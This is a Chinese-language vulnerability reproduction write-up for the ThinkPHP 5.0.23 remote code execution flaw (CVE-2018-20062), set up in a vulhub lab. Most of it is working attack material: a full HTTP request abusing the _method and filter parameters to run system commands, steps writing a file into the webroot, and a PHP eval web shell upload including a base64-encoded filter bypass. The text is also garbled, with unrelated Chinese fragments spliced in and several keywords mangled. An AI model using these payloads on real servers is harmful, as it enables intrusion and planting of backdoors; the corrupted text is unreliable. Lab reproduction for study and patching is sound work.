ThinkPHP5.0.23远程代码执⾏漏洞(CVE-2018-20062)漏洞复现⽂章⽬录
漏洞名称
ThinkPHP 5.0.23 远程代码执⾏漏洞
漏洞编号
CVE-2018-20062
漏洞描述
ThinkPHP是⼀款运⽤极⼴的PHP开发框架。
秘书处其5.0.23以前的版本中,获取method的⽅法中没有正确处理⽅法名,
导致攻击者可以调⽤Request类任意⽅法并构造利⽤链,从⽽导致远程代码执⾏漏洞。
由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。
便的多音字影响版本
ThinkPHP 5.0系列 <= 5.0.23
实验环境及准备
第⼀步 vulhub搭建
cd Desktop/vulhub-master/thinkphp/5.0.23-rce
docker-compo up -d
第⼆步 访问⽹站,即可看到默认的ThinkPHP启动页⾯
your-ip:8080
舌中
表决心发言稿漏洞发现
额头窄通过vulmap探测
漏洞复现(数据包)
第⼀步 执⾏命令
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en Ur-Agent: Mozilla/5.0 (compatible ; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: clo Content-Type: application/x-www-form-urlencoded Content-Length: 7
2 _method= __construct&filter[]=system&method=get&rver[REQUEST_METHOD]=id
第⼆步 写⼊phpinfo
1|根据pwd获取绝对路径:/var/www/public
2、写⼊`echo "<?php phpinfo(); ?>" > /var/www/public/test.php` echo%20"<?php%20phpinfo();%20?>"%20>%20/var/www/public/test.php
第三步 查看是否写⼊
1、ls%20-al
2、cat%20/var/www/public/test.php
3、192.168.253.147:8080/test.php
kromasil>陈字开头的成语
轮她肚子第四步 上传shell
_method=__construct&filter[]=system&method=get&rver[REQUEST_METHOD]=echo%20"<?php%20@eval($_REQUEST['pass']);%20?>"%20>%20/var/www/public/pass.php
发现被过滤了
内容ba64编码:
_method=__construct&filter[]=system&method=get&rver[REQUEST_METHOD]=echo%20-n%20YWFhPD9waHAgQGFzc2VydCgkX1JFUVVFU1RbJzEy MyddKTsgPz5iYmI=%20|%20ba64%20-d>%20/var/www/public/pass.php